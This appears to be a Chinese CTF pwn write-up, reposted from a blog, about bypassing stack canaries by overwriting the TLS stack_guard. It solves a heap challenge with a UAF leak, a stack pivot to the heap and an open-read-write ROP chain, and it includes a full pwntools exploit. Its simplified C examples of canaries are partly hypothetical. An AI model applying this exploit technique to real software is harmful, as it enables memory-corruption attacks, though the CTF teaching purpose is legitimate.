劫持TLS绕过canary && 堆和栈的灵活转换
引入:什么是TLScanary?
TLScanary 是一种在 Pwn(主要是二进制漏洞利用)中常见的技术,专门用于处理 TLS 保护的二进制文件。在安全竞赛(例如 CTF)和漏洞利用场景中,攻击者需要应对目标程序的多层安全机制,其中 TLS 是一种常见的保护措施。TLScanary 结合了 TLS 协议与堆栈保护(stack canary)技术,增加了攻击难度。
可见TLS和canary有着不可分割的关系
介绍:TLS的基本概念(pwn canary中)
- TLS 是一种用于在线程本地存储数据的机制。每个线程都有自己的 TLS 区域,用于存储与该线程相关的特定数据。
- 在堆栈保护方面,TLS 常被用于存储堆栈 canary 值,这是一种防止缓冲区溢出攻击的安全措施。
- 堆栈 canary 是一种在函数返回地址之前插入的特殊值,用于检测堆栈溢出。如果缓冲区溢出覆盖了 canary 值,程序会在返回前检测到不一致,并终止执行,防止恶意代码执行。
其实对于多线程的canary来说,每个线程的canary都是独立存在的,当一个线程被创建时,操作系统会为该线程分配一个独立的 TLS 区域。这个区域通常通过某种线程控制块(TCB)来管理,每个线程都有一个独立的 TCB。
在多线程环境中,每个线程的堆栈上都会有一个独立的 canary 值。操作系统或运行时库在为每个线程分配堆栈时,会在堆栈的适当位置插入一个 canary 值。
一个示例代码
void* thread_function(void* arg) {
// 每个线程有自己独立的 TLS 区域
__thread int thread_local_variable = 0;
// 在函数入口处插入 canary 值
unsigned long canary_value = generate_random_canary();
// 检查 canary 值是否被修改
if (canary_value != expected_canary_value) {
terminate_program();
}
// 线程的实际工作
// ...
return NULL;
}
int main() {
pthread_t threads[NUM_THREADS];
// 创建多个线程
for (int i = 0; i < NUM_THREADS; i++) {
pthread_create(&threads[i], NULL, thread_function, NULL);
}
// 等待所有线程完成
for (int i = 0; i < NUM_THREADS; i++) {
pthread_join(threads[i], NULL);
}
return 0;
}
struct pthread结构体
#include <stddef.h> // 为了使用 size_t
/* Definition of the tcbhead_t structure (hypothetical) */
typedef struct {
// 定义线程控制块头部结构体
// 可以根据实际情况进行定义
// 例如:线程 ID、状态信息等
int thread_id;
// 其他相关信息
} tcbhead_t;
/* Define the pthread structure */
struct pthread {
#if !TLS_DTV_AT_TP
/* This overlaps the TCB as used for TLS without threads (see tls.h). */
tcbhead_t header; // 可能与 TLS 相关的头部信息
#else
struct {
// 更复杂的结构体定义
// 可能包含与 TLS 相关的更多详细信息
// ...
} header;
#endif
/* Extra padding for alignment and potential future use */
void *__padding[24]; // 填充数组,用于对齐和可能的未来扩展
};
看见看到struct pthread结构的第一个字段是tcbhead_t
tcbhead_t 结构体的解析:
typedef struct {
void *tcb; /* 指向线程控制块(TCB)的指针 */
dtv_t *dtv; /* 线程特定数据的指针 */
void *self; /* 指向线程描述符的指针 */
int multiple_threads; /* 标识是否有多个线程 */
int gscope_flag; /* 全局作用域标志 */
uintptr_t sysinfo; /* 系统信息 */
uintptr_t stack_guard;/* 堆栈保护 */
uintptr_t pointer_guard; /* 指针保护 */
/* 其他可能的字段... */
} tcbhead_t;
其中stack_guard里面放的就是单线程的canary,通常可以通过覆盖它的内容来达到绕过canary保护的目的
一道题目的引入
刚好对于上一篇留下的问题,题目:binding
题目保护情况

64位ida载入
初看时是个堆题

add函数申请大小有限制,一次创建两个堆块,calloc申请堆块

edit函数,白给任意地址写一个字节(因为unsigned __int8类型指针占一个字节),有溢出不多,可以迁移

free函数,明显的UAF漏洞可以泄露地址

show函数

开了沙箱,只能orw

思路:1.通过UAF漏洞泄露heap地址和libc地址
2.通过任意地址写劫持stack_guard来绕过canary保护
3.通过栈迁移迁移到heap上,执行rop链
EXP:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
libc =ELF('./libc-2.31.so')
#io = process('./binding')
io = remote('node5.buuoj.cn',26892)
def add(index,size,content):
io.sendlineafter('choice:','1')
io.sendlineafter('Idx:',str(index))
io.sendlineafter('Size:',str(size))
io.sendafter('Content:',content)
def edit(index,content1,content2):
io.sendlineafter('choice:','2')
io.sendafter('Idx:',index)
io.sendafter('context1: ',content1)
io.sendafter('context2: ',content2)
def show(rw,index):
io.sendlineafter('choice:','3')
io.sendlineafter('choice:',rw)
io.sendlineafter('Idx:',str(index))
def free(index):
io.sendlineafter('choice:','4')
io.sendlineafter('Idx:',str(index))
#gdb.attach(io)
for i in range(6):
add(i,0x100,'a')
for i in range(1,5):
free(i)
#gdb.attach(io)
show('0',2)
io.recvuntil(': ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x5d0
success('heap_base----->'+hex(heap_base))
#gdb.attach(io)
show('1',4)
io.recvuntil(': ')
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 96 - 0x10 -libc.sym['__malloc_hook']
success('libc_base----->'+hex(libc_base))
TLS = libc_base + 0x1f3568
success('TLS----->'+hex(TLS))
pause()
pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
leave_ret = libc_base + 0x00000000000578c8 # leave ; ret
#gdb.attach(io)
orw_payload = p64(pop_rdi) + p64(heap_base + 0x1010)+p64(pop_rsi) + p64(0)+p64(pop_rdx)+p64(0) +p64(libc.sym['open']+libc_base)
orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x200)
orw_payload += p64(pop_rdx) + p64(0x30) + p64(libc.sym['read']+libc_base)
orw_payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x200) + p64(pop_rdx) + p64(0x30)
orw_payload += p64(libc.sym['write']+libc_base)
orw_payload = orw_payload.ljust(0xb0,b'a')
orw_payload += b'./flag\x00\x00'
add(6,0x120,orw_payload)
payload = b'0'.ljust(0x28, b'\x00') + p64(0) + p64(heap_base+0xf58) + p64(leave_ret)
edit(payload,p64(TLS),b'\x00'*8)
io.interactive()
劫持TLS绕过canary && 堆和栈的灵活转换的更多相关文章
- 通过格式化字符串漏洞绕过canary
1.1 canary内存保护机制 1.1.1 canary工作原理 canary保护机制类似于/GS保护机制,是Linux下gcc编译器的安全保护机制之一,在栈中的结构如下图所示: 在函数 ...
- binary hacks读数笔记(堆、栈 VMA的分布)
一.首先看一个简单的程序: #include<stdlib.h> int main() { while(1) { sleep(1000); } return 0; } gcc -stati ...
- JVM学习(2)——技术文章里常说的堆,栈,堆栈到底是什么,从os的角度总结
俗话说,自己写的代码,6个月后也是别人的代码……复习!复习!复习!涉及到的知识点总结如下: 堆栈是栈 JVM栈和本地方法栈划分 Java中的堆,栈和c/c++中的堆,栈 数据结构层面的堆,栈 os层面 ...
- java中内存分配策略及堆和栈的比较
Java把内存分成两种,一种叫做栈内存,一种叫做堆内存 在函数中定义的一些基本类型的变量和对象的引用变量都是在函数的栈内存中分配.当在一段代码块中定义一个变量时,java就在栈中为这个变量分配内存空间 ...
- 译文---C#堆VS栈(Part One)
前言 本文主要是讲解C#语言在内存中堆.栈的使用情况,使读者能更好的理解值类型.引用类型以及线程栈.托管堆. 首先感谢原文作者:Matthew Cochran 为我们带来了一篇非常好的文章,并配以大量 ...
- 在JS中关于堆与栈的认识function abc(a){ a=100; } function abc2(arr){ arr[0]=0; }
平常我们的印象中堆与栈就是两种数据结构,栈就是先进后出:堆就是先进先出.下面我就常见的例子做分析: main.cpp int a = 0; 全局初始化区 char *p1; 全局未初始化区 main( ...
- C语言堆和栈
堆和栈的区别 一个由C/C++编译的程序占用的内存分为以下几个部分1.栈区(stack)— 由编译器自动分配释放 ,存放函数的参数值,局部变量的值等.其操作方式类似于数据结构中的栈.2.堆区(heap ...
- JAVA中用堆和栈的概念来理解equals() "=="和hashcode()
在学习java基本数据类型和复杂数据类型的时候,特别是equals()"=="和hashcode()部分时,不是很懂,也停留了很长时间,最后终于有点眉目了. 要理解equals() ...
- C/C++ 堆和栈的区别
堆和栈的区别 一个由C/C++编译的程序占用的内存分为以下几个部分 1.栈区(stack)— 由编译器自动分配释放 ,存放函数的参数值,局部变量的值等.其 操作方式类似于数据结构中的栈. 2.堆区(h ...
- Java堆、栈和常量池以及相关String的详细讲解(经典中的经典) (转)
原文链接 : http://www.cnblogs.com/xiohao/p/4296088.html 一:在JAVA中,有六个不同的地方可以存储数据: 1. 寄存器(register). 这是最快的 ...
随机推荐
- console小知识
console.log(JSON.stringify(object,null,2));
- 效率工具mysoV0.3.0功能介绍
也许大家在日常工作中,有使用过提升效率的工具,比如快速搜索文件的Everything:火柴:Listary等,这些工具都在一定程度上提升您的工作效率.myso作为后来者,跟上述软件一样,也是为提升 ...
- 密码学—DES加密算法
文章目录 DES流程 DES细节 生成密钥 DES加密 E盒扩展 S盒替换 P盒置换 DES流程 因为DES是对比特流进行加密的,所以信息在加密之前先转为二进制比特流 1:生成16把密钥 只取给出的密 ...
- (图形界面)Dbever连接MySQL8 报错mysql8 安装The server time zone value '�й���ʱ��' is unrecognized or represents more than one time zone.
问题原因是没有设置时区,这个在Mysql8中会有 解决方式: 在这个位置加上UTC时区就可以了. IDEA添加方式 设置Advanced的allowPublicKeyRetrieval为true 同时 ...
- C++ 初始化列表(Initialization List)
请注意以下继承体系中各class的constructors写法: 1 class CPoint 2 { 3 public: 4 CPoint(float x=0.0) 5 :_x(x){} 6 7 f ...
- ansible功能实现
模糊匹配远程主机文件并拉取到本地服务器 又熬夜加班了.花很长时间研究出来.如何实现模糊匹配到的远程文件批量拉取到本地的剧本.使用copy模块的*,shll模块的* ls|grep XX都没有实现,貌似 ...
- snmpwalk命令详解
snmp安装 yum -y install net-snmp-libs net-snmp net-snmp-utils 系统镜像里面就有这些包.可yum安装 snmpwalk集合 snmpwalk + ...
- .net程序员学习java篇一(搭建SSM)
一.安装IDE 相比于.net环境的一气呵成,java可能麻烦一点,这里记录下来,避免萌新踩坑 1.1安装JDK,这里不要玩什么花哨,老老实实选个大众版(Oracle JDK1.8x),设置环境变量, ...
- vue我自己的动态菜单思路
1.在router里把所有的路由都加上. 2.后端存储路由path和其他设计需要的信息. 3.登录后,后端返回菜单树,根据权限不同,返回的菜单不同,并且还要返回每个path代表的页面具有的权限数组.可 ...
- iis worker process w3wp 进程 占用率100%
今天电脑特别的卡,我没当回事,但是实在是卡得不行了,我打开任务管理器,发现 iis worker process 进程已经快100%了,我之前在iis上发布了一个webservice,我就把这个网站给 ...